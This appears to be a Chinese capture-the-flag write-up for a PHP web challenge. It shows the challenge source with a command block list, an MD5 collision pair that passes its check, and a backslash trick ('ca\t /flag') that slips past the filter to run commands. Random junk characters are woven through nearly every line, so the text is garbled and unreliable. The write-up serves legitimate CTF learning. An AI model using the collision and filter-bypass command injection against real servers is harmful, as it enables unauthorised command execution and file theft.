|
|
7 E" B3 n$ K0 }- `' o
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>" l4 D) m% w( }0 g. L1 Q
<p> </p>3 `$ g7 R, \# P3 ]
<p> </p>
5 b5 h; ^! d) c, z% C1 [% _<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
" R+ \4 W6 d$ W" s2 R) W! A<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
. ~! Y0 n0 y. n/ X6 a, m C( l<p> </p>; y3 w% B1 W( C/ s
<p> </p>5 G/ B N# f. _$ L, r" [6 ]+ |
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>( j" N# \/ Y0 E+ t+ b: v
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>- B* O- M* f, K
<p>首先把那个进行一次base64位解码</p>
- @- d# @7 z B. \% l& a4 @<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>3 Y3 f4 ]3 P6 B2 Q, j
<p> </p>6 d. ~8 ~) n [' v
<p> </p>, U& T; N! t1 N N$ f: w
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
1 e# P( s- i* U3 h% O# K+ ~<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>8 C# g/ @" H) _, H
<p> </p>$ w' @- a. M4 e
<p> </p>
# D) `" @1 |8 G2 E: H* ^6 y) R<p> 然后用hex解码一下得到了</p>
( ?+ X- a, ^2 P% @: y<div class="cnblogs_Highlighter">
Z2 X8 V& u4 I/ f* @<pre class="brush:sql;gutter:true;">555.png
; Q: D7 J' j# o$ f8 ~0 K4 ~( P& z</pre>9 V$ y* Q$ ^0 D$ }, O! O' `6 E4 s+ {
</div>' w) b O" ?, `; \; A B9 q
<p> 用同样的方法把index.php进行加密</p>
" V9 g1 F; J) l/ E0 f" k<div class="cnblogs_Highlighter">2 L2 i! X9 i7 [9 @; T4 N
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
3 D) o8 [) @3 O+ E</pre>
. D6 E6 a- A; L; ~# w9 n1 N- h# X</div>2 o9 h9 G- ?, @2 C+ W
<p> 然后输入到地址栏</p>
. ]) F1 U1 ` j+ @& t; h, X/ g<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
( K" e' {& |& B) y9 `1 `<div class="cnblogs_code">
# K: h; a$ z) N, M# p. I<pre><?<span style="color: rgba(0, 0, 0, 1)">php2 T" y) d1 s' p: V% Y( V5 {
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);+ N. y' [8 b/ ?$ ]% \# g& Y' z
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
( j% B: E. W5 Z</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];" V g7 q G9 e. D( m$ H
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
U9 d5 Z3 f _( S8 [2 l </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);2 p0 ~0 f# S3 R* a" E
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));3 ^/ o% X8 m0 d$ d: r2 f5 r9 C% s
6 C1 p5 F* ^3 R0 [- c9 G3 j' I6 ^
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);: K1 ?& K7 z3 Y" p, X' r$ `8 P
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
+ z7 z. c) j1 S3 d4 @ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;
, O o! O. C. R* Q* O0 D' d v! m </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);
! F$ s& r7 e3 i' [} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {+ Y p1 R6 Y) q) _% Y# S
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));- F3 \9 C+ M( g/ h+ `
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
! @4 m) h/ m8 y/ y </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
5 u! \$ [. m* f/ d# e7 A}
" [# R# g4 B: m5 }</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
' V: A5 G6 K" e* r% L C+ ?; F</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;% h3 ^+ Z* K$ L) n. C T J2 ]& f5 b
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {6 ~# a$ w! k8 {/ ^5 V! X. C3 K
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);' |/ r4 A0 ~* n' R2 Y$ i
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
! K& E/ c- q3 |; j- D* y} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
@# K4 ]- W7 t: B5 z: A </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {# ^6 L/ @0 r8 b& p6 `/ h
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;, i% S% W4 A( M5 {5 c3 D2 u
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {: r( m: r; E0 ?" x" _1 i1 S7 ~; J
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
+ y' l8 l* b7 k. n6 i6 Q4 m0 e }! t7 t, A) \* O8 h+ M. Z
}: T& q: v) g0 _; @
: ]; e; b- g* c0 F8 F/ P</span>?>1 l# i$ t* M( s3 Q
<html>
# f- F9 i/ ?; k<style><span style="color: rgba(0, 0, 0, 1)">5 t3 T4 ~& s5 s
body{
" Y, e6 k) y: D% o, M/ | background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
, G4 q. k& @5 M* a/ v background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;7 r' d2 [$ g" A' j0 Q
background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
4 a2 s- F9 b" ^; f1 P U! | background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
$ }4 A. H+ y" H<span style="color: rgba(0, 0, 0, 1)">}. K/ q) `8 M# J" L6 n0 n
</span></style>" Y3 v5 y" I' w3 k; q& l' ^7 ~
<body># ?. D# N* l, _
</body>
5 S- l" v6 t3 ^2 Q$ n</html></pre>/ H1 D- ~+ B- u0 L& J- m6 a) W
</div>
3 j: R4 M K- g<p>结合前面的推断,关键代码就在</p>
+ r4 _( d# K" x5 ?<div class="cnblogs_code">) m( Q2 `, i8 W
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {8 l4 {% r, E3 R- n0 i2 m: d
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
) R; n8 z/ w: F } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {! X; |4 U2 v( } n6 h" M/ D' E" s7 w
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
7 o% l5 M; C/ ^% } }</span></pre>
. ?* t+ @8 I+ z! G* B4 c</div>1 o& D# d. c% H1 D, Y" c
<p>这种MD5是md5强碰撞</p>
- |/ Q0 P: [* m, z<div class="cnblogs_Highlighter">7 g( u7 ]2 |0 Y3 @5 i
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
7 k* l* `- G& l' [1 e9 `</pre>- [* S; p; d/ y6 g, V
</div>
. s/ H1 k( e: e0 ?+ K$ M; S, M<div class="cnblogs_Highlighter"> H9 ?$ y1 ]) W3 c x
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a24 F8 I: \; K9 A- V4 E2 }* Z) b% Z
</pre>
' w0 g0 [' ~. P</div>" b) b: e! |- m1 X) p
<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
: l+ {; J0 r+ L8 n$ {5 m+ M<p>于是采用payload:</p>; R7 O" V5 V" F8 L! E3 M+ \" T! @) b- f
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
( f0 b$ F9 ]* }<p> </p>
/ U6 F4 l" @, {; f9 W8 y<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
) P2 ?& @! `! j<p>ls和l\s在命令执行的时候结果是一样的。</p>
3 f$ p' S& d4 g, c2 T* c<p>然后发现根目录里面有/flag</p>6 b- G: u5 |4 Z2 ^2 K# ]3 d# x/ N0 \
<p>于是payload:</p>" X) x! h- f4 T& M2 g5 x! K- ]$ h" |
<div class="cnblogs_Highlighter">3 q$ L' u. X- y+ Q: \4 [) o
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
( N$ f3 q# ?' P6 }</pre>4 y& \) m" R. ?- T
</div>
/ [2 V& u, N; ?* z& l% V<p> 对于这个题目,因为他没有屏蔽sort和dir</p>% O) N$ |$ A9 |; i
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
! j1 m2 |. t8 n7 T9 H/ F<p> </p>
6 x, D; T8 l. a: C% R |
|